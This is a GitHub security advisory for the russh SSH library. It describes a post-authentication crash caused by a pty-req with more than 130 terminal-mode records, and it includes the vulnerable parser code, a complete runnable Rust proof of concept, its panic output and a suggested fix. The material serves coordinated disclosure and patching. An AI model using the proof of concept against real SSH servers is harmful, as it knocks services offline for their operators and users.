GHSA-CQJC-RMPQ-XPRQ
Vulnerability from github – Published: 2026-07-24 16:46 – Updated: 2026-08-12 20:56Summary
A post-authentication denial-of-service panic in russh 0.62.2 (commit
c4be19f1915c8682f4615c3fd50008512b474491, current default branch main as
of 2026-07-22). An authenticated client sends a pty-req channel request
carrying more than 130 terminal-mode records. The parser uses a fixed
[(Pty::TTY_OP_END, 0); 130] array but increments its counter i for every
valid record (logging "too many pty codes" without returning), then slices
&modes[0..i] — an out-of-bounds slice that panics (range end index 131
out of range for slice of length 130) before the application pty_request
handler runs.
This is reachable with the default server configuration and the default
crypto config (curve25519-sha256 + chacha20-poly1305), requiring only an
authenticated session channel — no caller-supplied parameter. It is reproduced
end-to-end against the unmodified real russh 0.62.2 library (a real
russh::client + russh::server over TCP, using the public
Channel::request_pty(...) API); the PoC below links the real crate, not a
copied snippet. The defect is still present on main HEAD (v0.62.3,
2026-07-22) and is not covered by any of the 11 published russh GHSA
advisories (GHSA-4r3c-5hpg-58qr / CVE-2026-48110 is allocation-first string
parsing, not the fixed-array slice overflow; it was fixed in 0.61.0 but this
code path still overflows the fixed array).
Rust bounds-checked panics abort the task safely (no memory corruption / RCE); the impact is remote denial of service.
Details
russh/src/server/encrypted.rs, pty-req handling (lines 1137–1201):
let mut modes = [(Pty::TTY_OP_END, 0); 130]; // fixed 130-entry array (line 1137)
let mut i = 0;
...
while !mode_bytes.is_empty() {
let code = mode_bytes[0];
if code == 0 { if mode_bytes.len() != 1 { return Err(...); } break; }
if mode_bytes.len() < 5 { return Err(...); }
let num = BigEndian::read_u32(&mode_bytes[1..5]);
if let Some(code) = Pty::from_u8(code) {
if i < 130 {
modes[i] = (code, num);
} else {
error!("pty-req: too many pty codes"); // logs, does NOT return (line 1162)
}
}
i += 1; // keeps growing past 130
mode_bytes = &mode_bytes[5..];
}
...
handler.pty_request(channel_num, &term, ..., &modes[0..i], self).await // line 1201 — OOB when i > 130
Each terminal-mode record is exactly 5 bytes (1-byte opcode + 4-byte value),
and i += 1 runs for every valid record (including repeats of the same
opcode). The if i < 130 write-gate prevents an in-array overflow but the
counter still grows unbounded, and the later &modes[0..i] slice has no
corresponding bound. SSH packet-size limits do not bound the mode count to
130, so a single normal-sized pty-req can carry hundreds of mode records.
The client's own request_pty serialization (russh/src/client/session.rs:
((1 + 5 * terminal_modes.len()) as u32).encode(&mut enc.write)?; // line 129
for &(code, value) in terminal_modes {
if code == Pty::TTY_OP_END { continue; }
(code as u8).encode(&mut enc.write)?;
value.encode(&mut enc.write)?; // line 135
}
writes every record with no count cap, so 131 records reach the server as a legitimate authenticated channel request.
PoC
The PoC is a standalone examples/ binary that links the unmodified real
russh 0.62.2 crate and reproduces over a real TCP connection with the default
crypto config. It runs an ATTACK case (131 mode records → panic) and a CONTROL
case (130 mode records → parses fine), proving the panic is caused
specifically by exceeding the 130-entry array.
One-line reproducer
# Drop the .rs below into russh/examples/ of a checkout of
# Eugeny/russh @ c4be19f1915c (tag v0.62.2), then:
cargo +stable build --release --example e2e_c15_pty_modes_panic
RUST_BACKTRACE=1 ./target/release/examples/e2e_c15_pty_modes_panic
russh/examples/e2e_c15_pty_modes_panic.rs
// End-to-end PoC: an authenticated pty-req with more than 130 terminal-mode
// records panics the russh server in its pty-req parser.
//
// A real `russh::client` + `russh::server` with the DEFAULT crypto config
// (curve25519-sha256 + chacha20-poly1305). The client authenticates (auth_none),
// opens a session channel, and calls the public Channel::request_pty(...) API
// with 131 (ATTACK) and 130 (CONTROL) terminal-mode records. The server
// panics in its pty-req parser (&modes[0..i] OOB) on 131, parses fine on 130.
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::{Arc, Mutex};
use russh::keys::Algorithm;
use russh::server::{self, Auth, ChannelOpenHandle, Handler, Msg, Session};
use russh::{Channel, ChannelId, Pty};
use tokio::net::TcpListener;
#[tokio::main]
async fn main() {
println!("=== russh pty-req mode overflow panic (real russh 0.62.2, default crypto) ===\n");
let (atk_panic, atk_handler) = run_case(131, "ATTACK ").await; // expect panic
println!();
let (ctl_panic, ctl_handler) = run_case(130, "CONTROL").await; // expect ok
println!("\n=== summary ===");
println!("case | server panicked | pty_request handler ran");
println!("ATTACK | {atk_panic:<15} | {atk_handler} (131 mode records)");
println!("CONTROL | {ctl_panic:<15} | {ctl_handler} (130 mode records)");
if atk_panic && !atk_handler && !ctl_panic && ctl_handler {
println!("\n=> CONFIRMED (end-to-end, real russh 0.62.2):");
println!(" A single authenticated SSH_MSG_CHANNEL_REQUEST `pty-req`");
println!(" carrying 131 valid terminal-mode records makes the real");
println!(" russh server panic in its pty-req parser");
println!(" (range end index 131 out of range for slice of length 130)");
println!(" before the application pty_request handler runs.");
} else {
eprintln!("NOT reproduced");
std::process::exit(1);
}
}
async fn run_case(num_modes: usize, label: &'static str) -> (bool, bool) {
let panicked = Arc::new(AtomicBool::new(false));
{
let flag = panicked.clone();
let prev = std::panic::take_hook();
std::panic::set_hook(Box::new(move |info| {
flag.store(true, Ordering::SeqCst);
eprintln!("[{label} server task panicked] {info}");
prev(info);
}));
}
let events: Arc<Mutex<Vec<&'static str>>> = Arc::new(Mutex::new(Vec::new()));
// real russh server, DEFAULT crypto config (curve25519 + chacha20)
let mut config = server::Config::default();
config.inactivity_timeout = None;
config.auth_rejection_time = std::time::Duration::from_millis(1);
config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));
config.keys.push(russh::keys::PrivateKey::random(&mut rand::rng(), Algorithm::Ed25519).unwrap());
let config = Arc::new(config);
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
let addr = listener.local_addr().unwrap();
let server_events = events.clone();
let server_task = tokio::spawn(async move {
let (socket, _peer) = listener.accept().await.unwrap();
let handler = PtyServer { events: server_events };
let session = server::run_stream(config, socket, handler).await.unwrap();
session.await
});
// real russh client (default config: real ECDH + encryption + auth)
let client_config = Arc::new(russh::client::Config::default());
let mut session = russh::client::connect(client_config, addr, AcceptAllClient {}).await.unwrap();
let auth = session.authenticate_none("attacker").await.unwrap();
assert!(auth.success(), "[{label}] auth_none did not succeed");
let channel = session.channel_open_session().await.unwrap();
println!("[{label}] authenticated + opened session channel");
// terminal_modes: num_modes records of (VINTR, 42). The client serializes
// all of them with no count cap (client/session.rs:129-137).
let modes: Vec<(Pty, u32)> = vec![(Pty::VINTR, 42u32); num_modes];
let want_reply = true;
let pty_result = tokio::time::timeout(
std::time::Duration::from_secs(3),
channel.request_pty(want_reply, "xterm", 80, 24, 0, 0, &modes),
).await;
println!("[{label}] client request_pty({num_modes} modes) -> {pty_result:?}");
let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await;
let server_panicked = panicked.load(Ordering::SeqCst);
let handler_ran = events.lock().unwrap().contains(&"pty_request");
println!("[{label}] server task panicked = {server_panicked}, pty_request handler ran = {handler_ran}");
let _ = std::panic::take_hook();
(server_panicked, handler_ran)
}
#[derive(Clone)]
struct PtyServer { events: Arc<Mutex<Vec<&'static str>>> }
impl PtyServer {
fn record(&self, e: &'static str) { self.events.lock().unwrap().push(e); }
}
impl Handler for PtyServer {
type Error = russh::Error;
async fn auth_none(&mut self, _user: &str) -> Result<Auth, Self::Error> { Ok(Auth::Accept) }
async fn channel_open_session(
&mut self, _channel: Channel<Msg>, reply: ChannelOpenHandle, _session: &mut Session,
) -> Result<(), Self::Error> { reply.accept().await; Ok(()) }
async fn pty_request(
&mut self, _channel: ChannelId, _term: &str, _col_width: u32, _row_height: u32,
_pix_width: u32, _pix_height: u32, _modes: &[(Pty, u32)], _session: &mut Session,
) -> Result<(), Self::Error> { self.record("pty_request"); Ok(()) }
}
#[derive(Clone)]
struct AcceptAllClient {}
impl russh::client::Handler for AcceptAllClient {
type Error = russh::Error;
async fn check_server_key(
&mut self, _server_public_key: &russh::keys::PublicKey,
) -> Result<bool, Self::Error> { Ok(true) }
}
Real captured output (ATTACK, RUST_BACKTRACE=1):
[ATTACK ] client request_pty(131 modes) -> Ok(Ok(()))
[ATTACK server task panicked] panicked at russh/src/server/encrypted.rs:1201:39:
range end index 131 out of range for slice of length 130
thread 'tokio-rt-worker' panicked at russh/src/server/encrypted.rs:1201:39
stack backtrace:
3: <Session>::server_read_authenticated::<PtyServer>
4: <Session>::process_packet::<PtyServer>
5: russh::server::reply::<PtyServer>
[ATTACK ] server task panicked = true, pty_request handler ran = false
[CONTROL] server task panicked = false, pty_request handler ran = true
=> CONFIRMED (end-to-end, real russh 0.62.2)
The panic occurs in russh's own post-auth parser before any application handler is invoked.
Impact
Remote, post-authentication denial of service of any russh SSH server using
the default configuration. Any authenticated client with a session channel can
crash the russh server task with a single SSH_MSG_CHANNEL_REQUEST pty-req
carrying 131+ terminal-mode records (each record is 5 bytes, so 131 records
fit in one normal-sized packet). This is trivially reachable for any legitimate
or compromised SSH user. DoS only — Rust bounds-checked panics abort the task
safely; there is no memory corruption or RCE.
Suggested fix
Cap i at 130 and reject the request instead of logging and continuing:
if i >= 130 {
return Err(Error::Inconsistent.into()); // reject instead of logging+continuing
}
modes[i] = (code, num);
Affected versions
russh<= 0.62.3 (commitc4be19f1915c/ currentmainHEADv0.62.3, 2026-07-22). The bug is still present onmain; it is not covered by any of the 11 published russh GHSA advisories. Defaultserver::Configandclient::Configare affected (no feature flag or opt-in).
Credit
Reported by the diff/ambidiff security research effort (afldl). Happy to coordinate a disclosure timeline; will request a CVE once confirmed.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.62.3"
},
"package": {
"ecosystem": "crates.io",
"name": "russh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.62.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73489"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T16:46:13Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nA post-authentication denial-of-service panic in `russh` 0.62.2 (commit\n`c4be19f1915c8682f4615c3fd50008512b474491`, current default branch `main` as\nof 2026-07-22). An authenticated client sends a `pty-req` channel request\ncarrying more than 130 terminal-mode records. The parser uses a fixed\n`[(Pty::TTY_OP_END, 0); 130]` array but increments its counter `i` for every\nvalid record (logging \"too many pty codes\" without returning), then slices\n`\u0026modes[0..i]` \u2014 an out-of-bounds slice that **panics** (`range end index 131\nout of range for slice of length 130`) before the application `pty_request`\nhandler runs.\n\nThis is reachable with the **default** server configuration and the **default**\ncrypto config (curve25519-sha256 + chacha20-poly1305), requiring only an\nauthenticated session channel \u2014 no caller-supplied parameter. It is reproduced\nend-to-end against the unmodified real russh 0.62.2 library (a real\n`russh::client` + `russh::server` over TCP, using the public\n`Channel::request_pty(...)` API); the PoC below links the real crate, not a\ncopied snippet. The defect is still present on `main` HEAD (`v0.62.3`,\n2026-07-22) and is not covered by any of the 11 published russh GHSA\nadvisories (GHSA-4r3c-5hpg-58qr / CVE-2026-48110 is allocation-first string\nparsing, not the fixed-array slice overflow; it was fixed in 0.61.0 but this\ncode path still overflows the fixed array).\n\nRust bounds-checked panics abort the task safely (no memory corruption / RCE);\nthe impact is remote **denial of service**.\n\n## Details\n\n`russh/src/server/encrypted.rs`, `pty-req` handling (lines 1137\u20131201):\n\n```rust\nlet mut modes = [(Pty::TTY_OP_END, 0); 130]; // fixed 130-entry array (line 1137)\nlet mut i = 0;\n...\nwhile !mode_bytes.is_empty() {\n let code = mode_bytes[0];\n if code == 0 { if mode_bytes.len() != 1 { return Err(...); } break; }\n if mode_bytes.len() \u003c 5 { return Err(...); }\n let num = BigEndian::read_u32(\u0026mode_bytes[1..5]);\n if let Some(code) = Pty::from_u8(code) {\n if i \u003c 130 {\n modes[i] = (code, num);\n } else {\n error!(\"pty-req: too many pty codes\"); // logs, does NOT return (line 1162)\n }\n }\n i += 1; // keeps growing past 130\n mode_bytes = \u0026mode_bytes[5..];\n}\n...\nhandler.pty_request(channel_num, \u0026term, ..., \u0026modes[0..i], self).await // line 1201 \u2014 OOB when i \u003e 130\n```\n\nEach terminal-mode record is exactly 5 bytes (1-byte opcode + 4-byte value),\nand `i += 1` runs for **every** valid record (including repeats of the same\nopcode). The `if i \u003c 130` write-gate prevents an in-array overflow but the\ncounter still grows unbounded, and the later `\u0026modes[0..i]` slice has no\ncorresponding bound. SSH packet-size limits do not bound the mode count to\n130, so a single normal-sized `pty-req` can carry hundreds of mode records.\nThe client\u0027s own `request_pty` serialization (`russh/src/client/session.rs`:\n\n```rust\n((1 + 5 * terminal_modes.len()) as u32).encode(\u0026mut enc.write)?; // line 129\nfor \u0026(code, value) in terminal_modes {\n if code == Pty::TTY_OP_END { continue; }\n (code as u8).encode(\u0026mut enc.write)?;\n value.encode(\u0026mut enc.write)?; // line 135\n}\n```\n\nwrites every record with no count cap, so 131 records reach the server as a\nlegitimate authenticated channel request.\n\n## PoC\n\nThe PoC is a standalone `examples/` binary that links the **unmodified** real\nrussh 0.62.2 crate and reproduces over a real TCP connection with the default\ncrypto config. It runs an ATTACK case (131 mode records \u2192 panic) and a CONTROL\ncase (130 mode records \u2192 parses fine), proving the panic is caused\nspecifically by exceeding the 130-entry array.\n\n### One-line reproducer\n\n```bash\n# Drop the .rs below into russh/examples/ of a checkout of\n# Eugeny/russh @ c4be19f1915c (tag v0.62.2), then:\ncargo +stable build --release --example e2e_c15_pty_modes_panic\nRUST_BACKTRACE=1 ./target/release/examples/e2e_c15_pty_modes_panic\n```\n\n### `russh/examples/e2e_c15_pty_modes_panic.rs`\n\n```rust\n// End-to-end PoC: an authenticated pty-req with more than 130 terminal-mode\n// records panics the russh server in its pty-req parser.\n//\n// A real `russh::client` + `russh::server` with the DEFAULT crypto config\n// (curve25519-sha256 + chacha20-poly1305). The client authenticates (auth_none),\n// opens a session channel, and calls the public Channel::request_pty(...) API\n// with 131 (ATTACK) and 130 (CONTROL) terminal-mode records. The server\n// panics in its pty-req parser (\u0026modes[0..i] OOB) on 131, parses fine on 130.\n\nuse std::sync::atomic::{AtomicBool, Ordering};\nuse std::sync::{Arc, Mutex};\n\nuse russh::keys::Algorithm;\nuse russh::server::{self, Auth, ChannelOpenHandle, Handler, Msg, Session};\nuse russh::{Channel, ChannelId, Pty};\nuse tokio::net::TcpListener;\n\n#[tokio::main]\nasync fn main() {\n println!(\"=== russh pty-req mode overflow panic (real russh 0.62.2, default crypto) ===\\n\");\n\n let (atk_panic, atk_handler) = run_case(131, \"ATTACK \").await; // expect panic\n println!();\n let (ctl_panic, ctl_handler) = run_case(130, \"CONTROL\").await; // expect ok\n\n println!(\"\\n=== summary ===\");\n println!(\"case | server panicked | pty_request handler ran\");\n println!(\"ATTACK | {atk_panic:\u003c15} | {atk_handler} (131 mode records)\");\n println!(\"CONTROL | {ctl_panic:\u003c15} | {ctl_handler} (130 mode records)\");\n\n if atk_panic \u0026\u0026 !atk_handler \u0026\u0026 !ctl_panic \u0026\u0026 ctl_handler {\n println!(\"\\n=\u003e CONFIRMED (end-to-end, real russh 0.62.2):\");\n println!(\" A single authenticated SSH_MSG_CHANNEL_REQUEST `pty-req`\");\n println!(\" carrying 131 valid terminal-mode records makes the real\");\n println!(\" russh server panic in its pty-req parser\");\n println!(\" (range end index 131 out of range for slice of length 130)\");\n println!(\" before the application pty_request handler runs.\");\n } else {\n eprintln!(\"NOT reproduced\");\n std::process::exit(1);\n }\n}\n\nasync fn run_case(num_modes: usize, label: \u0026\u0027static str) -\u003e (bool, bool) {\n let panicked = Arc::new(AtomicBool::new(false));\n {\n let flag = panicked.clone();\n let prev = std::panic::take_hook();\n std::panic::set_hook(Box::new(move |info| {\n flag.store(true, Ordering::SeqCst);\n eprintln!(\"[{label} server task panicked] {info}\");\n prev(info);\n }));\n }\n\n let events: Arc\u003cMutex\u003cVec\u003c\u0026\u0027static str\u003e\u003e\u003e = Arc::new(Mutex::new(Vec::new()));\n\n // real russh server, DEFAULT crypto config (curve25519 + chacha20)\n let mut config = server::Config::default();\n config.inactivity_timeout = None;\n config.auth_rejection_time = std::time::Duration::from_millis(1);\n config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));\n config.keys.push(russh::keys::PrivateKey::random(\u0026mut rand::rng(), Algorithm::Ed25519).unwrap());\n let config = Arc::new(config);\n\n let listener = TcpListener::bind(\"127.0.0.1:0\").await.unwrap();\n let addr = listener.local_addr().unwrap();\n\n let server_events = events.clone();\n let server_task = tokio::spawn(async move {\n let (socket, _peer) = listener.accept().await.unwrap();\n let handler = PtyServer { events: server_events };\n let session = server::run_stream(config, socket, handler).await.unwrap();\n session.await\n });\n\n // real russh client (default config: real ECDH + encryption + auth)\n let client_config = Arc::new(russh::client::Config::default());\n let mut session = russh::client::connect(client_config, addr, AcceptAllClient {}).await.unwrap();\n let auth = session.authenticate_none(\"attacker\").await.unwrap();\n assert!(auth.success(), \"[{label}] auth_none did not succeed\");\n\n let channel = session.channel_open_session().await.unwrap();\n println!(\"[{label}] authenticated + opened session channel\");\n\n // terminal_modes: num_modes records of (VINTR, 42). The client serializes\n // all of them with no count cap (client/session.rs:129-137).\n let modes: Vec\u003c(Pty, u32)\u003e = vec![(Pty::VINTR, 42u32); num_modes];\n let want_reply = true;\n\n let pty_result = tokio::time::timeout(\n std::time::Duration::from_secs(3),\n channel.request_pty(want_reply, \"xterm\", 80, 24, 0, 0, \u0026modes),\n ).await;\n println!(\"[{label}] client request_pty({num_modes} modes) -\u003e {pty_result:?}\");\n\n let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await;\n let server_panicked = panicked.load(Ordering::SeqCst);\n let handler_ran = events.lock().unwrap().contains(\u0026\"pty_request\");\n println!(\"[{label}] server task panicked = {server_panicked}, pty_request handler ran = {handler_ran}\");\n let _ = std::panic::take_hook();\n (server_panicked, handler_ran)\n}\n\n#[derive(Clone)]\nstruct PtyServer { events: Arc\u003cMutex\u003cVec\u003c\u0026\u0027static str\u003e\u003e\u003e }\nimpl PtyServer {\n fn record(\u0026self, e: \u0026\u0027static str) { self.events.lock().unwrap().push(e); }\n}\nimpl Handler for PtyServer {\n type Error = russh::Error;\n async fn auth_none(\u0026mut self, _user: \u0026str) -\u003e Result\u003cAuth, Self::Error\u003e { Ok(Auth::Accept) }\n async fn channel_open_session(\n \u0026mut self, _channel: Channel\u003cMsg\u003e, reply: ChannelOpenHandle, _session: \u0026mut Session,\n ) -\u003e Result\u003c(), Self::Error\u003e { reply.accept().await; Ok(()) }\n async fn pty_request(\n \u0026mut self, _channel: ChannelId, _term: \u0026str, _col_width: u32, _row_height: u32,\n _pix_width: u32, _pix_height: u32, _modes: \u0026[(Pty, u32)], _session: \u0026mut Session,\n ) -\u003e Result\u003c(), Self::Error\u003e { self.record(\"pty_request\"); Ok(()) }\n}\n\n#[derive(Clone)]\nstruct AcceptAllClient {}\nimpl russh::client::Handler for AcceptAllClient {\n type Error = russh::Error;\n async fn check_server_key(\n \u0026mut self, _server_public_key: \u0026russh::keys::PublicKey,\n ) -\u003e Result\u003cbool, Self::Error\u003e { Ok(true) }\n}\n```\n\nReal captured output (ATTACK, `RUST_BACKTRACE=1`):\n\n```\n[ATTACK ] client request_pty(131 modes) -\u003e Ok(Ok(()))\n[ATTACK server task panicked] panicked at russh/src/server/encrypted.rs:1201:39:\nrange end index 131 out of range for slice of length 130\nthread \u0027tokio-rt-worker\u0027 panicked at russh/src/server/encrypted.rs:1201:39\nstack backtrace:\n 3: \u003cSession\u003e::server_read_authenticated::\u003cPtyServer\u003e\n 4: \u003cSession\u003e::process_packet::\u003cPtyServer\u003e\n 5: russh::server::reply::\u003cPtyServer\u003e\n[ATTACK ] server task panicked = true, pty_request handler ran = false\n[CONTROL] server task panicked = false, pty_request handler ran = true\n=\u003e CONFIRMED (end-to-end, real russh 0.62.2)\n```\n\nThe panic occurs in russh\u0027s own post-auth parser before any application\nhandler is invoked.\n\n## Impact\n\n**Remote, post-authentication denial of service of any russh SSH server using\nthe default configuration.** Any authenticated client with a session channel can\ncrash the russh server task with a single `SSH_MSG_CHANNEL_REQUEST` `pty-req`\ncarrying 131+ terminal-mode records (each record is 5 bytes, so 131 records\nfit in one normal-sized packet). This is trivially reachable for any legitimate\nor compromised SSH user. DoS only \u2014 Rust bounds-checked panics abort the task\nsafely; there is no memory corruption or RCE.\n\n### Suggested fix\n\nCap `i` at 130 and reject the request instead of logging and continuing:\n\n```rust\nif i \u003e= 130 {\n return Err(Error::Inconsistent.into()); // reject instead of logging+continuing\n}\nmodes[i] = (code, num);\n```\n\n### Affected versions\n\n- `russh` **\u003c= 0.62.3** (commit `c4be19f1915c` / current `main` HEAD\n `v0.62.3`, 2026-07-22). The bug is still present on `main`; it is not covered\n by any of the 11 published russh GHSA advisories. Default `server::Config`\n and `client::Config` are affected (no feature flag or opt-in).\n\n## Credit\n\nReported by the diff/ambidiff security research effort (afldl). Happy to\ncoordinate a disclosure timeline; will request a CVE once confirmed.",
"id": "GHSA-cqjc-rmpq-xprq",
"modified": "2026-08-12T20:56:50Z",
"published": "2026-07-24T16:46:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/security/advisories/GHSA-cqjc-rmpq-xprq"
},
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/commit/8912512371820167a12a0a638bd666856ce458ad"
},
{
"type": "PACKAGE",
"url": "https://github.com/Eugeny/russh"
},
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/releases/tag/v0.62.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Russh: Post-auth remote panic via pty-req with more than 130 terminal-mode records"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.